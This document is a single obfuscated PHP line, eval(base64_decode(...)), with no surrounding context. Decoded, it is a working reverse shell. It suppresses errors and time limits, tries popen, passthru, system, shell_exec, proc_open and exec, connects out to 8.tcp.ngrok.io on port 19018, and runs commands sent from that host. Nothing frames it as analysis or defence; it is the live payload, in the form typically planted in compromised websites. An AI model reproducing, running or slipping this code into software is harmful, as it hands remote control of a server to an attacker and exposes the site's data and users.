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eval(base64_decode(ICAgIC8qPD9waHAgLyoqLwogICAgICBAZXJyb3JfcmVwb3J0aW5nKDApOwogICAgICBAc2V0X3RpbWVfbGltaXQoMCk7IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CiAgICAgICRkaXM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAgIGlmKCFlbXB0eSgkZGlzKSl7CiAgICAgICAgJGRpcz1wcmVnX3JlcGxhY2UoJy9bLCBdKy8nLCAnLCcsICRkaXMpOwogICAgICAgICRkaXM9ZXhwbG9kZSgnLCcsICRkaXMpOwogICAgICAgICRkaXM9YXJyYXlfbWFwKCd0cmltJywgJGRpcyk7CiAgICAgIH1lbHNlewogICAgICAgICRkaXM9YXJyYXkoKTsKICAgICAgfQogICAgICAKICAgICRpcGFkZHI9JzgudGNwLm5ncm9rLmlvJzsKICAgICRwb3J0PTE5MDE4OwoKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ0tRTG9mUVJpWScpKXsKICAgICAgZnVuY3Rpb24gS1FMb2ZRUmlZKCRjKXsKICAgICAgICBnbG9iYWwgJGRpczsKICAgICAgICAKICAgICAgaWYgKEZBTFNFICE9PSBzdHJwb3Moc3RydG9sb3dlcihQSFBfT1MpLCAnd2luJyApKSB7CiAgICAgICAgJGM9JGMuIiAyPiYxXG4iOwogICAgICB9CiAgICAgICRuZGxaPSdpc19jYWxsYWJsZSc7CiAgICAgICRxcmlrPSdpbl9hcnJheSc7CiAgICAgIAogICAgICBpZigkbmRsWign.cG9wZW4nKWFuZCEkcXJpaygncG9wZW4nLCRkaXMpKXsKICAgICAgICAkZnA9cG9wZW4oJGMsJ3InKTsKICAgICAgICAkbz1OVUxMOwogICAgICAgIGlmKGlzX3Jlc291cmNlKCRmcCkpewogICAgICAgICAgd2hpbGUoIWZlb2YoJGZwKSl7CiAgICAgICAgICAgICRvLj1mcmVhZCgkZnAsMTAyNCk7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEBwY2xvc2UoJGZwKTsKICAgICAgfWVsc2UKICAgICAgaWYoJG5kbFooJ3Bhc3N0aHJ1JylhbmQhJHFyaWsoJ3Bhc3N0aHJ1JywkZGlzKSl7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwYXNzdGhydSgkYyk7CiAgICAgICAgJG89b2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfZW5kX2NsZWFuKCk7CiAgICAgIH1lbHNlCiAgICAgIGlmKCRuZGxaKCdzeXN0ZW0nKWFuZCEkcXJpaygnc3lzdGVtJywkZGlzKSl7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBzeXN0ZW0oJGMpOwogICAgICAgICRvPW9iX2dldF9jb250ZW50cygpOwogICAgICAgIG9iX2VuZF9jbGVhbigpOwogICAgICB9ZWxzZQogICAgICBpZigkbmRsWignc2hlbGxfZXhlYycpYW5kISRxcmlrKCdzaGVsbF9leGVjJywkZGlzKSl7CiAgICAgICAgJG89c2hlbGxfZXhlYygkYyk7CiAgICAgIH1lbHNlCiAgICAgIGlmKCRuZGxaKCdwcm9jX29wZW4nKWFuZCE.kcXJpaygncHJvY19vcGVuJywkZGlzKSl7CiAgICAgICAgJGhhbmRsZT1wcm9jX29wZW4oJGMsYXJyYXkoYXJyYXkoJ3BpcGUnLCdyJyksYXJyYXkoJ3BpcGUnLCd3JyksYXJyYXkoJ3BpcGUnLCd3JykpLCRwaXBlcyk7CiAgICAgICAgJG89TlVMTDsKICAgICAgICB3aGlsZSghZmVvZigkcGlwZXNbMV0pKXsKICAgICAgICAgICRvLj1mcmVhZCgkcGlwZXNbMV0sMTAyNCk7CiAgICAgICAgfQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOwogICAgICB9ZWxzZQogICAgICBpZigkbmRsWignZXhlYycpYW5kISRxcmlrKCdleGVjJywkZGlzKSl7CiAgICAgICAgJG89YXJyYXkoKTsKICAgICAgICBleGVjKCRjLCRvKTsKICAgICAgICAkbz1qb2luKGNocigxMCksJG8pLmNocigxMCk7CiAgICAgIH1lbHNlCiAgICAgIHsKICAgICAgICAkbz0wOwogICAgICB9CiAgICAKICAgICAgICByZXR1cm4gJG87CiAgICAgIH0KICAgIH0KICAgICRub2Z1bmNzPSdubyBleGVjIGZ1bmN0aW9ucyc7CiAgICBpZihpc19jYWxsYWJsZSgnZnNvY2tvcGVuJylhbmQhaW5fYXJyYXkoJ2Zzb2Nrb3BlbicsJGRpcykpewogICAgICAkcz1AZnNvY2tvcGVuKCJ0Y3A6Ly84LnRjcC5uZ3Jvay5pbyIsJHBvcnQpOwogICAgICB3aGlsZSgkYz1mcmVhZCgkcywyMDQ4KSl7CiAgICAgICAgJG91dCA9ICcnOwogICAgIC.AgIGlmKHN1YnN0cigkYywwLDMpID09ICdjZCAnKXsKICAgICAgICAgIGNoZGlyKHN1YnN0cigkYywzLC0xKSk7CiAgICAgICAgfSBlbHNlIGlmIChzdWJzdHIoJGMsMCw0KSA9PSAncXVpdCcgfHwgc3Vic3RyKCRjLDAsNCkgPT0gJ2V4aXQnKSB7CiAgICAgICAgICBicmVhazsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICRvdXQ9S1FMb2ZRUmlZKHN1YnN0cigkYywwLC0xKSk7CiAgICAgICAgICBpZigkb3V0PT09ZmFsc2UpewogICAgICAgICAgICBmd3JpdGUoJHMsJG5vZnVuY3MpOwogICAgICAgICAgICBicmVhazsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZndyaXRlKCRzLCRvdXQpOwogICAgICB9CiAgICAgIGZjbG9zZSgkcyk7CiAgICB9ZWxzZXsKICAgICAgJHM9QHNvY2tldF9jcmVhdGUoQUZfSU5FVCxTT0NLX1NUUkVBTSxTT0xfVENQKTsKICAgICAgQHNvY2tldF9jb25uZWN0KCRzLCRpcGFkZHIsJHBvcnQpOwogICAgICBAc29ja2V0X3dyaXRlKCRzLCJzb2NrZXRfY3JlYXRlIik7CiAgICAgIHdoaWxlKCRjPUBzb2NrZXRfcmVhZCgkcywyMDQ4KSl7CiAgICAgICAgJG91dCA9ICcnOwogICAgICAgIGlmKHN1YnN0cigkYywwLDMpID09ICdjZCAnKXsKICAgICAgICAgIGNoZGlyKHN1YnN0cigkYywzLC0xKSk7CiAgICAgICAgfSBlbHNlIGlmIChzdWJzdHIoJGMsM.Cw0KSA9PSAncXVpdCcgfHwgc3Vic3RyKCRjLDAsNCkgPT0gJ2V4aXQnKSB7CiAgICAgICAgICBicmVhazsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICRvdXQ9S1FMb2ZRUmlZKHN1YnN0cigkYywwLC0xKSk7CiAgICAgICAgICBpZigkb3V0PT09ZmFsc2UpewogICAgICAgICAgICBAc29ja2V0X3dyaXRlKCRzLCRub2Z1bmNzKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEBzb2NrZXRfd3JpdGUoJHMsJG91dCxzdHJsZW4oJG91dCkpOwogICAgICB9CiAgICAgIEBzb2NrZXRfY2xvc2UoJHMpOwogICAgfQo));